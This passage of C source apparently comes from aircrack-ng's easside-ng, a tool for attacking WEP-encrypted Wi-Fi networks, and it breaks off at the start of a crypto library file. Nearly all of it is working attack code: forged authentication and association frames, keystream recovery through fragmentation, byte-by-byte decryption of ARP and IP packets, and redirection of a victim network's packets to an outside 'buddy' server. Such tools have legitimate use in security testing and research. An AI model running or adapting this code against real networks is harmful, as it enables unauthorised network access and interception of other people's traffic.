if (!is_arp(wh, len-4-4)) return; sa = get_sa(wh); memcpy(es->es_rtrmac, sa, 6); mac2str(str, es->es_rtrmac, sizeof(str)); printf("Rtr MAC %s\n", str); setup_internet(es); } struct rpacket *get_slot(struct east_state *es) { struct rpacket *slot = es->es_rqueue; struct rpacket *p = es->es_rqueue; /* try to recycle */ while (slot) { if (!slot->rp_len) return slot; slot = slot->rp_next; } slot = malloc(sizeof(*slot)); if (!slot) err(1, "get_slot: malloc()"); memset(slot, 0, sizeof(*slot)); if (!p) es->es_rqueue = slot; else { while (p->rp_next) p = p->rp_next; p->rp_next = slot; } return slot; } struct rpacket *get_head(struct east_state *es) { struct rpacket *rp = es->es_rqueue; if (!rp) return NULL; if (!rp->rp_len) return NULL; return rp; } struct rpacket *get_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; while (rp) { if (!rp->rp_len) return NULL; if (rp->rp_id == id) return rp; rp = rp->rp_next; } return NULL; } void remove_packet(struct east_state *es, int id) { struct rpacket *rp = es->es_rqueue; struct rpacket **prevn; struct rpacket *p; assert(rp); prevn = &es->es_rqueue; /* find and remove */ while (rp) { if (rp->rp_id == id) { rp->rp_len = 0; *prevn = rp->rp_next; break; } prevn = &rp->rp_next; rp = rp->rp_next; } assert(rp); /* only one element */ p = es->es_rqueue; if (!p) { es->es_rqueue = rp; assert(!rp->rp_next); return; } while (p) { if (!p->rp_len) { rp->rp_next = p->rp_next; p->rp_next = rp; return; } prevn = &p->rp_next; p = p->rp_next; } /* last elem */ rp->rp_next = NULL; *prevn = rp; } int queue_len(struct east_state *es) { int len = 0; struct rpacket *slot = es->es_rqueue; while (slot) { if (!slot->rp_len) break; len++; slot = slot->rp_next; } return len; } void redirect_enque(struct east_state *es, struct ieee80211_frame *wh, int len) { char s[18]; char d[18]; struct rpacket *slot; slot = get_slot(es); slot->rp_len = len; assert(slot->rp_len <= (int) sizeof(slot->rp_packet)); memcpy(slot->rp_packet, wh, slot->rp_len); es->es_rpacket_id++; slot->rp_id = es->es_rpacket_id; mac2str(s, get_sa(wh), sizeof(s)); mac2str(d, get_da(wh), sizeof(d)); printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n", slot->rp_id, s, d, len - sizeof(*wh) - 4- 4, queue_len(es)); } void check_redirect(struct east_state *es, struct ieee80211_frame *wh, int len) { if (!for_me_and_from_ap(es, wh)) return; if (is_dup(es, wh)) return; redirect_enque(es, wh, sizeof(*wh) + len); } void read_data(struct east_state *es, struct ieee80211_frame *wh, int len) { if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != IEEE80211_FC0_SUBTYPE_DATA) return; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return; if (!our_network(es, wh)) return; if (!from_me(es, wh)) { if (!es->es_have_packet || (es->es_astate <= AS_FIND_IP && !es->es_have_src)) { assert((int) sizeof(es->es_packet) >= len); memcpy(es->es_packet, wh, len); es->es_have_packet = len; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1; if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0) es->es_have_src = 1; } if (!es->es_have_arp && is_arp(wh, len-sizeof(*wh)-4-4)) { memcpy(es->es_packet_arp, wh, len); es->es_have_arp = len; if (es->es_astate == AS_DECRYPT_IP) { printf("\nPreempting to ARP decryption\n"); es->es_astate = AS_FIND_IP; } } } len -= sizeof(*wh); switch (es->es_astate) { case AS_NOPRGA: base_prga(es, wh, len); es->es_astate = AS_PRGA_EXPAND; break; case AS_PRGA_EXPAND: check_expand(es, wh, len); break; case AS_FIND_IP: break; case AS_DECRYPT_ARP: check_decrypt_arp(es, wh, len); break; case AS_DECRYPT_IP: check_decrypt_ip(es, wh, len); break; case AS_FIND_RTR_MAC: check_rtr_mac(es, wh, len); break; case AS_CHECK_INET: break; case AS_REDIRECT: check_redirect(es, wh, len); break; default: abort(); break; } } void read_wifi(struct east_state *es) { unsigned char buf[4096]; int len; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; len = wi_read(es->es_wi, buf, sizeof(buf), NULL); if (len == -1) err(1, "wi_read()"); /* XXX: I don't do any length chex */ if (len < 2) { printf("Short packet %d\n", len); return; } switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: read_mgt(es, wh, len); break; case IEEE80211_FC0_TYPE_CTL: read_ctl(es, wh, len); break; case IEEE80211_FC0_TYPE_DATA: read_data(es, wh, len); break; default: printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK); break; } } unsigned int msec_diff(struct timeval *after, struct timeval *before) { unsigned int diff; assert(after->tv_sec >= before->tv_sec); if (after->tv_sec > before->tv_sec) { unsigned int usec; diff = (after->tv_sec - before->tv_sec - 1) * 1000; usec = 1000*1000 - before->tv_usec; usec += after->tv_usec; diff += usec/1000; } else /* after->tv_sec == before->tv_sec */ diff = (after->tv_usec - before->tv_usec)/1000; return diff; } void msec_to_tv(int msec, struct timeval *tv) { tv->tv_sec = msec/1000; tv->tv_usec = (msec - tv->tv_sec*1000)*1000; } void chan_hop(struct east_state *es, struct timeval *tv) { struct timeval now; unsigned int elapsed; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, &es->es_lasthop); /* hop */ if (elapsed >= es->es_hopfreq) { es->es_apchan++; if (es->es_apchan > 12) es->es_apchan = 1; es->es_lasthop = now; set_chan(es); printf("Chan %.2d\r", es->es_apchan); fflush(stdout); msec_to_tv(es->es_hopfreq, tv); } else msec_to_tv(es->es_hopfreq - elapsed, tv); } unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; assert(fn < 16); r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return r; } void fill_basic(struct east_state *es, struct ieee80211_frame *wh) { unsigned short* sp; /* macs */ memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2)); memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3)); /* duration */ sp = (unsigned short*) wh->i_dur; // *sp = htole16(32767); *sp = htole16(0); /* seq */ sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, es->es_txseq); } void send_frame(struct east_state *es, void *buf, int len) { int rc; rc = wi_write(es->es_wi, buf, len, NULL); if(rc == -1) err(1, "wi_write()"); if (rc != len) { printf("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len); exit(1); } if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()"); } int too_early(struct timeval *tv, int to, struct timeval *last_sent) { struct timeval now; unsigned int elapsed; /* check if timeout expired */ if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); elapsed = msec_diff(&now, last_sent); if (elapsed < (unsigned int) to) { msec_to_tv(to - elapsed, tv); return 1; } msec_to_tv(to, tv); return 0; } void send_auth(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; /* transaction number */ sp = (unsigned short*) (wh+1); sp++; *sp = htole16(1); len = sizeof(*wh) + 2 + 2 + 2; printf("Sending auth request\n"); send_frame(es, wh, len); } void send_assoc(struct east_state *es, struct timeval *tv) { unsigned char buf[4096]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned short *sp; int len; unsigned char *ptr; if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; sp = (unsigned short*) (wh+1); /* capability */ *sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY); *sp++ = htole16(100); /* listen interval */ /* ssid */ ptr = (unsigned char*) sp; *ptr++ = IEEE80211_ELEMID_SSID; len = strlen(es->es_apssid); *ptr++ = len; strncpy((char*)ptr, es->es_apssid, 32); ptr += len; /* rates */ *ptr++ = IEEE80211_ELEMID_RATES; *ptr++ = 8; *ptr++ = 2 | 0x80; *ptr++ = 4 | 0x80; *ptr++ = 11 | 0x80; *ptr++ = 22 | 0x80; *ptr++ = 12 | 0x80; *ptr++ = 24 | 0x80; *ptr++ = 48 | 0x80; *ptr++ = 72; /* x-rates */ *ptr++ = IEEE80211_ELEMID_XRATES; *ptr++ = 4; *ptr++ = 48; *ptr++ = 72; *ptr++ = 96; *ptr++ = 108; len = ptr - buf; printf("Sending assoc request\n"); send_frame(es, wh, len); } void put_crc32(void *data, int len) { unsigned int *ptr = (unsigned int*) ((char*)data+len); *ptr = get_crc32(data, len); } void expand_prga(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); unsigned short* sp = (unsigned short*) wh->i_seq; int dlen; int early; int totlen; /* start from beginning */ if (es->es_expand_num == -1) { es->es_txack = 0; es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } early = too_early(tv, es->es_txto_expand, &es->es_txlast); if (!es->es_txack && early) return; memset(buf, 0, sizeof(buf)); /* see if we got an ack to move onto next frag */ if (es->es_txack) { es->es_expand_num++; es->es_clearp = es->es_clearpnext; if (es->es_expand_num == es->es_expand_factor) { es->es_expand_num = 0; es->es_txseq++; es->es_clearp = es->es_clear; } es->es_txack = 0; } else wh->i_fc[1] |= IEEE80211_FC1_RETRY; if (es->es_expand_num == 0 && early) return; /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv & crc */ memcpy(data, es->es_iv, 3); data += 4; dlen = es->es_prgalen - 4; /* see how much we sent */ totlen = dlen*es->es_expand_num; es->es_expand_len = totlen + dlen + 4; if ((int) sizeof(es->es_prga) < es->es_expand_len) { es->es_expand_len -= dlen; dlen = sizeof(es->es_prga) - totlen - 4; /* don't need as many frags; start over */ if (dlen <= 0) { es->es_expand_num = -1; es->es_expand_len = sizeof(es->es_prga); return; } es->es_expand_len += dlen; wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } assert((es->es_clearp >= es->es_clear) && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)])); memcpy(data, es->es_clearp, dlen); es->es_clearpnext = es->es_clearp + dlen; put_crc32(data, dlen); xor(data, data, es->es_prga, es->es_prgalen); /* send frag */ if ((es->es_expand_num+1) == es->es_expand_factor) wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; *sp = fnseq(es->es_expand_num, es->es_txseq); printf("Sending %d byte fragment %d:%d\r", dlen, es->es_txseq, es->es_expand_num); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); } void decrypt_packet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, S_MCAST, 5); wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen]; /* iv & crc */ memcpy(data, es->es_prga_div, 3); data += 4; dlen = es->es_prga_dlen - 4 + 1; memcpy(data, es->es_clear, dlen); put_crc32(data, dlen); xor(data, data, es->es_prga_d, es->es_prga_dlen+1); printf_time("Guessing prga byte %d with %.2X\r", es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]); fflush(stdout); send_frame(es, wh, data - buf + dlen + 4); es->es_prga_d[es->es_prga_dlen]++; } void decrypt_arp(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_ARP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet_arp; int len; es->es_astate = AS_DECRYPT_ARP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10*2); xor(prga, clear, ct, len); prga += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void decrypt_ip(struct east_state *es, struct timeval *tv) { /* init */ if (es->es_astate != AS_DECRYPT_IP) { unsigned char clear[1024]; unsigned char *prga = es->es_prga_d; unsigned char *ct; struct ieee80211_frame *wh = (struct ieee80211_frame*) es->es_packet; int len; unsigned short totlen; es->es_astate = AS_DECRYPT_IP; ct = (unsigned char*) (wh+1); memcpy(es->es_prga_div, ct, 3); ct += 4; /* llc snap */ len = 8; memcpy(clear, S_LLC_SNAP_IP, len); xor(prga, clear, ct, len); prga += len; ct += len; /* ip hdr */ len = 2; memcpy(clear, "\x45\x00", len); xor(prga, clear, ct, len); prga += len; ct += len; /* tot len */ totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4; totlen = htons(totlen); len = 2; memcpy(clear, &totlen, len); xor(prga, clear, ct, len); prga += len; ct += len; *prga = 0; es->es_prga_dlen = prga - es->es_prga_d; } decrypt_packet(es, tv); } void find_ip(struct east_state *es, struct timeval *tv) { if (es->es_rtrip.s_addr && es->es_myip.s_addr) { set_tap_ip(es); es->es_astate = AS_FIND_RTR_MAC; return; } if (es->es_have_arp) decrypt_arp(es, tv); else if (es->es_have_packet) decrypt_ip(es, tv); } void send_whohas(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct arphdr *ah; unsigned char *datas; if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memset(wh->i_addr3, 0xff, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_ARP, 8); data += 8; /* arp */ ah = (struct arphdr*) data; ah->ar_hrd = htons(ARPHRD_ETHER); ah->ar_pro = htons(ETHERTYPE_IP); ah->ar_hln = 6; ah->ar_pln = 4; ah->ar_op = htons(ARPOP_REQUEST); data = (unsigned char*) (ah+1); memcpy(data, es->es_mymac, 6); data += 6; memcpy(data, &es->es_myip, 4); data += 4; data += 6; memcpy(data, &es->es_rtrip, 4); data += 4; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Sending who has %s", inet_ntoa(es->es_rtrip)); printf(" tell %s\n", inet_ntoa(es->es_myip)); send_frame(es, wh, data - buf + 4); } void check_inet(struct east_state *es, struct timeval *tv) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; unsigned short *seq; struct udphdr *uh; if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return; memset(buf, 0, sizeof(buf)); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+S_HELLO_LEN); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+S_HELLO_LEN); uh->uh_sum = 0; /* data */ data = (unsigned char*) (uh+1); strncpy((char*)data, "sorbo", 5); seq = (unsigned short*) (data+5); *seq = htons(++es->es_rpacket_id); data += S_HELLO_LEN; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf("Checking for internet... %d\n", es->es_rpacket_id); send_frame(es, wh, data - buf + 4); if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } void redirect_sendip(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; struct ip *iph; unsigned char *datas; struct udphdr *uh; unsigned short *id; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG; memcpy(wh->i_addr3, es->es_rtrmac, 6); /* iv */ memcpy(data, es->es_iv, 3); data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP_IP, 8); data += 8; /* ip */ iph = (struct ip*) data; iph->ip_hl = 5; iph->ip_v = 4; dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2; iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+dlen); iph->ip_id = htons(666); iph->ip_ttl = 69; iph->ip_p = IPPROTO_UDP; iph->ip_src = es->es_myip; iph->ip_dst = es->es_srvip; iph->ip_sum = in_cksum((unsigned short*)iph, 20); /* udp */ uh = (struct udphdr*) (iph+1); uh->uh_sport = htons(53); uh->uh_dport = htons(es->es_udp_port); uh->uh_ulen = htons(sizeof(*uh)+dlen); uh->uh_sum = 0; /* packet id */ id = (unsigned short*) (uh+1); *id++ = htons(rp->rp_id); /* data */ data = (unsigned char*) id; dlen = data - datas; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); #if 0 printf("Sending IP for %d %d:0\n", rp->rp_id, es->es_txseq); #endif send_frame(es, wh, data - buf + 4); } void redirect_sendfrag(struct east_state *es, struct rpacket *rp) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned short *sp = (unsigned short*) wh->i_seq; memset(buf, 0, sizeof(buf)); /* 802.11 header */ fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, es->es_rtrmac, 6); memset(wh->i_addr3, 0xff, 6); *sp = fnseq(1, es->es_txseq); dlen = rp->rp_len - sizeof(*wh); memcpy(data, ((struct ieee80211_frame*)rp->rp_packet) + 1, dlen); #if 0 printf("Sending frag for %d %d:1 [%d]\n", rp->rp_id, es->es_txseq, dlen - 8); #endif send_frame(es, wh, sizeof(*wh) + dlen); } void redirect(struct east_state *es, struct timeval *tv) { struct rpacket *rp = get_head(es); if (!rp) return; if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return; es->es_txseq++; printf("Redirecting packet id %d len %d [qlen %d]\n", rp->rp_id, rp->rp_len, queue_len(es)); /* rtt */ if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id)) { es->es_rtt_id = rp->rp_id; if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()"); } /* fire fragz */ redirect_sendip(es, rp); usleep(1*1000); redirect_sendfrag(es, rp); } void associated(struct east_state *es, struct timeval *tv) { switch (es->es_astate) { case AS_NOPRGA: break; case AS_PRGA_EXPAND: expand_prga(es, tv); break; case AS_FIND_IP: find_ip(es, tv); break; case AS_DECRYPT_ARP: decrypt_arp(es, tv); break; case AS_DECRYPT_IP: decrypt_ip(es, tv); break; case AS_FIND_RTR_MAC: send_whohas(es, tv); break; case AS_CHECK_INET: check_inet(es, tv); break; case AS_REDIRECT: redirect(es, tv); break; default: abort(); break; } } void buddy_inet_check(struct east_state *es) { struct { struct in_addr addr; unsigned short id; } __packed data; struct timeval now; int rtt; assert(sizeof(data) == 6); if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data)) err(1, "buddy_inet_check: recv()"); if (es->es_astate != AS_CHECK_INET) return; memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip)); printf("Internet w0rx. Public IP %s\n", inet_ntoa(es->es_pubip)); data.id = ntohs(data.id); if (data.id != es->es_rpacket_id) { printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id); return; } if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_astate = AS_REDIRECT; printf("Rtt %dms\n", rtt); if (es->es_iponly) reset(es); } void buddy_packet(struct east_state *es) { unsigned char buf[2048]; unsigned short *p = (unsigned short*) buf; unsigned short id, len; struct rpacket *rp; struct ieee80211_frame *wh; unsigned char *ptr; int got = 0; int rc; if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4) { if (rc == -1) err(1, "buddy_packet: recv() id & len"); printf("buddy_packet: recv id len got %d/%d\n", rc, 4); exit(1); } id = ntohs(*p); p++; len = ntohs(*p); p++; assert(len+6 <= (int) sizeof(buf)); ptr = &buf[6]; got = 0; while (got != len) { int rem = len - got; rc = recv(es->es_buddys, ptr, rem, 0); if (rc == -1) err(1, "buddy_packet: recv() packet"); got += rc; ptr += rc; } if (es->es_astate != AS_REDIRECT) return; printf_time("Got packet %d", id); if (es->es_rtt_id == id) { struct timeval now; int rtt; if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()"); rtt = msec_diff(&now, &es->es_rtt); es->es_rtt_id = 0; printf(" rtt %dms", rtt); if (es->es_srtt == 0) es->es_srtt = rtt; else { es->es_srtt += rtt; es->es_srtt >>= 1; } if (es->es_srtt == 0) es->es_srtt = 1; es->es_txto_redirect = es->es_srtt << 1; if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO; printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect); } rp = get_packet(es, id); if (!rp) { printf(" [not in queue]\n"); return; } wh = (struct ieee80211_frame*) rp->rp_packet; memcpy(buf, get_da(wh), 6); memcpy(&buf[6], get_sa(wh), 6); len += 6; if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()"); remove_packet(es, id); printf(" qlen %d\n", queue_len(es)); clear_timeout(es); } void read_buddy(struct east_state *es) { unsigned short cmd; int rc; rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0); if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n"); cmd = ntohs(cmd); switch (cmd) { case S_CMD_INET_CHECK: buddy_inet_check(es); break; case S_CMD_PACKET: buddy_packet(es); break; default: abort(); break; } } void read_tap(struct east_state *es) { unsigned char buf[2048]; struct ieee80211_frame *wh = (struct ieee80211_frame*) buf; unsigned char *data = (unsigned char*) (wh+1); int dlen; unsigned char *datas; unsigned char dst[6]; struct timeval old; memset(buf, 0, sizeof(buf)); dlen = ti_read(es->es_ti, data-2, S_MTU+14); if (dlen == -1) err(1, "ti_read()"); memcpy(dst, data-2, 6); /* 802.11 header */ es->es_txseq++; fill_basic(es, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP; memcpy(wh->i_addr3, dst, 6); /* iv */ memcpy(data, es->es_iv, 3); data[3] = 0; data += 4; datas = data; /* llc snap */ memcpy(data, S_LLC_SNAP, 6); data += 8; dlen = dlen - 14 + 8; put_crc32(datas, dlen); assert(es->es_prgalen >= dlen + 4); xor(datas, datas, es->es_prga, dlen + 4); printf_time("Sending frame from tap %d\n", dlen); old = es->es_txlast; send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4); es->es_txlast = old; } void own(struct east_state *es) { fd_set rfds; struct timeval tv, *tvp; int maxfd; if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND; if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP; for (;;) { FD_ZERO(&rfds); maxfd = wi_fd(es->es_wi); FD_SET(maxfd, &rfds); memset(&tv, 0, sizeof(tv)); tvp = NULL; if (es->es_buddys) { FD_SET(es->es_buddys, &rfds); if (es->es_buddys > maxfd) maxfd = es->es_buddys; } if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED) { int tapfd = ti_fd(es->es_ti); FD_SET(tapfd, &rfds); if (tapfd > maxfd) maxfd = tapfd; } switch (es->es_state) { case S_SEARCHING: if (!es->es_chanlock) chan_hop(es, &tv); break; case S_SENDAUTH: send_auth(es, &tv); break; case S_SENDASSOC: send_assoc(es, &tv); break; case S_ASSOCIATED: associated(es, &tv); break; default: abort(); break; } if (tv.tv_sec || tv.tv_usec) tvp = &tv; if (select(maxfd+1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()"); if (FD_ISSET(wi_fd(es->es_wi), &rfds)) { read_wifi(es); } if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es); if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es); } } void usage(char *p) { if (p) {} printf("\n" " %s - (C) 2007, 2008, 2009 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: easside-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -v : Victim BSSID\n" " -m : Source MAC address\n" " -i : Source IP address\n" " -r : Router IP address\n" " -s : Buddy-ng IP address (mandatory)\n" " -f : Interface to use (mandatory)\n" " -c : Lock card to this channel\n" " -n : Determine Internet IP only\n" "\n", getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); } void load_prga(struct east_state *es) { int fd; int rc; fd = open(S_PRGA_LOG, O_RDONLY); if (fd == -1) return; rc = read(fd, es->es_iv, 3); if (rc != 3) { printf("Can't read IV from %s\n", S_PRGA_LOG); exit(1); } rc = read(fd, es->es_prga, sizeof(es->es_prga)); if (rc == -1) err(1, "load_prga: read()"); es->es_prgalen = rc; close(fd); printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG); } int main(int argc, char *argv[]) { int ch; struct east_state *es = &_es; init_defaults(es); while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1) { switch (ch) { case 'c': es->es_chanlock = atoi(optarg); break; case 'f': strncpy(es->es_ifname, optarg, sizeof(es->es_ifname)-1); es->es_ifname[sizeof(es->es_ifname)-1] = 0; break; case 'v': if (str2mac(es->es_apmac, optarg) == -1) { printf("Can't parse AP mac\n"); exit(1); } break; case 'm': if (str2mac(es->es_mymac, optarg) == -1) { printf("Can't parse my mac\n"); exit(1); } es->es_setmac = 1; break; case 'i': if (!inet_aton(optarg, &es->es_myip)) { printf("Can't parse my ip\n"); exit(1); } break; case 'r': if (!inet_aton(optarg, &es->es_rtrip)) { printf("Can't parse rtr ip\n"); exit(1); } break; case 's': if (!inet_aton(optarg, &es->es_srvip)) { printf("Can't parse srv ip\n"); exit(1); } break; case 'n': es->es_iponly = 1; break; case 'h': default: usage(argv[0]); exit(0); } } if (es->es_srvip.s_addr == 0) { printf("Need at least server IP\n"); usage(argv[0]); exit(0); } load_prga(es); open_wifi(es); open_tap(es); set_mac(es); if (es->es_chanlock) set_chan(es); if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)"); if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)"); printf_time("Ownin...\n"); own(es); die("the end"); exit(0); } aircrack-ng-1.1/src/crypto.c0000644000000000000000000011357211177155267014532 0ustar rootroot/* * MD5, SHA-1, RC4 and AES implementations * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include "crypto.h" #include "crctable.h" #include "aircrack-ng.h" #define GET_UINT32_LE(n,b,i) \ { \ (n) = ( (uint32) (b)[(i) ] ) \ | 